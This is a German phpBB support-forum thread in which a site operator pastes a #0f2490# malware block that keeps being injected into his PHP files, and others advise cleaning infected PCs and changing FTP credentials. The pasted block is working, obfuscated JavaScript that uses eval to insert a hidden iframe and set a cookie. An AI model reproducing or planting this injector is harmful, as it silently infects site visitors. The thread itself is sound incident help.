#0f2490# echo im PHP Code

[Lordikon30]

Hallo !
Ich habe seid kurzem das Problem,das in einigen Dateien der PHP Code geändert wird.U.a. in der acp_main.php und ucp_main.php,die ../hooks/index.php
Dabei wird am Ende des PHP Codes nach dem

Code: Alles auswählen

?>

folgender Code eingefügt :

Code: Alles auswählen

#0f2490#
                                                                                                                                                                                                                                                                                                                                                                                                                echo "                                                                                                                                                                                                                                                                                                                                                                                                                <script type=\"text/javascript\" language=\"javascript\" >                                                                                                                                                                                                                                                                                                                                                                                                                r=eval;ps=\"s\"+\"p\"+\"l\"+\"i\"+\"t\";function asd(){++(d.body)};a=(\"47,155,174,165,152,173,160,166,165,47,201,201,201,155,155,155,57,60,47,202,24,21,47,175,150,171,47,161,200,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,24,21,24,21,47,161,200,65,172,171,152,47,104,47,56,157,173,173,167,101,66,66,160,164,167,166,171,173,154,177,167,166,171,173,160,165,172,173,160,173,174,173,154,65,152,166,164,66,155,163,150,156,172,66,151,116,177,155,133,113,77,136,65,167,157,167,56,102,24,21,47,161,200,65,172,173,200,163,154,65,167,166,172,160,173,160,166,165,47,104,47,56,150,151,172,166,163,174,173,154,56,102,24,21,47,161,200,65,172,173,200,163,154,65,151,166,171,153,154,171,47,104,47,56,67,56,102,24,21,47,161,200,65,172,173,200,163,154,65,157,154,160,156,157,173,47,104,47,56,70,167,177,56,102,24,21,47,161,200,65,172,173,200,163,154,65,176,160,153,173,157,47,104,47,56,70,167,177,56,102,24,21,47,161,200,65,172,173,200,163,154,65,163,154,155,173,47,104,47,56,70,167,177,56,102,24,21,47,161,200,65,172,173,200,163,154,65,173,166,167,47,104,47,56,70,167,177,56,102,24,21,24,21,47,160,155,47,57,50,153,166,152,174,164,154,165,173,65,156,154,173,114,163,154,164,154,165,173,111,200,120,153,57,56,161,200,56,60,60,47,202,24,21,47,153,166,152,174,164,154,165,173,65,176,171,160,173,154,57,56,103,153,160,175,47,160,153,104,143,56,161,200,143,56,105,103,66,153,160,175,105,56,60,102,24,21,47,153,166,152,174,164,154,165,173,65,156,154,173,114,163,154,164,154,165,173,111,200,120,153,57,56,161,200,56,60,65,150,167,167,154,165,153,112,157,160,163,153,57,161,200,60,102,24,21,47,204,24,21,204,24,21,155,174,165,152,173,160,166,165,47,132,154,173,112,166,166,162,160,154,57,152,166,166,162,160,154,125,150,164,154,63,152,166,166,162,160,154,135,150,163,174,154,63,165,113,150,200,172,63,167,150,173,157,60,47,202,24,21,47,175,150,171,47,173,166,153,150,200,47,104,47,165,154,176,47,113,150,173,154,57,60,102,24,21,47,175,150,171,47,154,177,167,160,171,154,47,104,47,165,154,176,47,113,150,173,154,57,60,102,24,21,47,160,155,47,57,165,113,150,200,172,104,104,165,174,163,163,47,203,203,47,165,113,150,200,172,104,104,67,60,47,165,113,150,200,172,104,70,102,24,21,47,154,177,167,160,171,154,65,172,154,173,133,160,164,154,57,173,166,153,150,200,65,156,154,173,133,160,164,154,57,60,47,62,47,72,75,67,67,67,67,67,61,71,73,61,165,113,150,200,172,60,102,24,21,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,47,104,47,152,166,166,162,160,154,125,150,164,154,62,51,104,51,62,154,172,152,150,167,154,57,152,166,166,162,160,154,135,150,163,174,154,60,24,21,47,62,47,51,102,154,177,167,160,171,154,172,104,51,47,62,47,154,177,167,160,171,154,65,173,166,116,124,133,132,173,171,160,165,156,57,60,47,62,47,57,57,167,150,173,157,60,47,106,47,51,102,47,167,150,173,157,104,51,47,62,47,167,150,173,157,47,101,47,51,51,60,102,24,21,204,24,21,155,174,165,152,173,160,166,165,47,116,154,173,112,166,166,162,160,154,57,47,165,150,164,154,47,60,47,202,24,21,47,175,150,171,47,172,173,150,171,173,47,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,160,165,153,154,177,126,155,57,47,165,150,164,154,47,62,47,51,104,51,47,60,102,24,21,47,175,150,171,47,163,154,165,47,104,47,172,173,150,171,173,47,62,47,165,150,164,154,65,163,154,165,156,173,157,47,62,47,70,102,24,21,47,160,155,47,57,47,57,47,50,172,173,150,171,173,47,60,47,55,55,24,21,47,57,47,165,150,164,154,47,50,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,172,174,151,172,173,171,160,165,156,57,47,67,63,47,165,150,164,154,65,163,154,165,156,173,157,47,60,47,60,47,60,24,21,47,202,24,21,47,171,154,173,174,171,165,47,165,174,163,163,102,24,21,47,204,24,21,47,160,155,47,57,47,172,173,150,171,173,47,104,104,47,64,70,47,60,47,171,154,173,174,171,165,47,165,174,163,163,102,24,21,47,175,150,171,47,154,165,153,47,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,160,165,153,154,177,126,155,57,47,51,102,51,63,47,163,154,165,47,60,102,24,21,47,160,155,47,57,47,154,165,153,47,104,104,47,64,70,47,60,47,154,165,153,47,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,163,154,165,156,173,157,102,24,21,47,171,154,173,174,171,165,47,174,165,154,172,152,150,167,154,57,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,172,174,151,172,173,171,160,165,156,57,47,163,154,165,63,47,154,165,153,47,60,47,60,102,24,21,204,24,21,160,155,47,57,165,150,175,160,156,150,173,166,171,65,152,166,166,162,160,154,114,165,150,151,163,154,153,60,24,21,202,24,21,160,155,57,116,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,201,201,201,155,155,155,57,60,102,24,21,204,24,21,204,24,21\"[ps](\",\"));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],5+3);}try{asd()}catch(q){yy=50-50;}try{yy/=36}catch(pq){yy=1;}if(!yy)r(String[\"fr\"+\"omCharCode\"].apply(String,a));</script>";

#/0f2490# 

Ich weiß allerdings nicht durch was diese Eintragungen verursacht werden.Testweise habe ich mal ein neues Forum aufgespielt,auch hier kam es dann zu besagten Meldungen.
Bin für jeden Tipp dankbar

[Gast234254]

Googhle Suche #0f2490 besagt das dein Forum gehackt wurde.

Mein Forum wurde gecrackt - was nun?

[Lordikon30]

Hi !
Da auch das komplett neue Forum innerhalb kürzester Zeit gehackt wurde,obwohl ich der einzige User war und bin,würde ich sagen verschafft der oder die ANgreifer sich via FTP Zugang,denn selbst wenn wir ein Backup draufspielen ist das Forum innerhalb kürzester Zeit wieder gehackt.Auch haben wir bisher nur diesen Echo Code gefunden,ansonsten keine weiteren Anzeichen und gerade wenn ich an das neu installierte Forum denke,fallen die meisten der Möglichkeiten aus,außer das vor kurzem der Server des Hosters gehackt wurde,aber wenn das der Fall sein würde,könnte ich machne was ich wollte ,das Forum ürde immerwieder gehackt werden .

[Metzle]

Hallo,

der Fehler ist eher auf deinem PC zu suchen. Der wird vermutlich verseucht sein und du bringst den Schadcode dann selbst in die Dateien. Also erst mal den eigenen PC reinigen

[Lordikon30]

Hi !
wäre ein Ansatz,obwohl mein Virenscanner Kaspersky keine Beschwerden meldet,wobei die Avira Voll Version bei einem anderen Admin leuchtet,wie ein Sylvesterfeuerwerk.
Hier mal ne Virenmeldung
[ externes Bild ]
Und eine bei dem Versuch im Chat was zu schreiben
[ externes Bild ]

[Lucan]

Da wurde dein PC oder der von jemand anderem mit den FTP Zugangsdaten infiziert.

Folgendes machen: Rechner von Virus befreien, notfalls neu installieren. FTP /MYSQL Zugangsdaten ändern. Jede Datei des Forums auf Schadecode checken.


Grüße

[Lordikon30]

PW haben wir geändert und den Code sind wir auch gerade am rauslöschen,haben jetzt aber noch folgendes via AVG gefunden :
[ externes Bild ]

sind wir denn die einzigen phpbb ler,die es erwischt hat ? So alleine scheinen wir aber nicht dar zustehen

http://forum.wpde.org/allgemeines/11788 ... f2490.html

[Lucan]

Die JavaScript Dateien sind immer noch versucht, daher auch die Meldung.

Das kommt immer mal wieder vor, ich musste schon X Foren von Schadecode befreien.


Grüße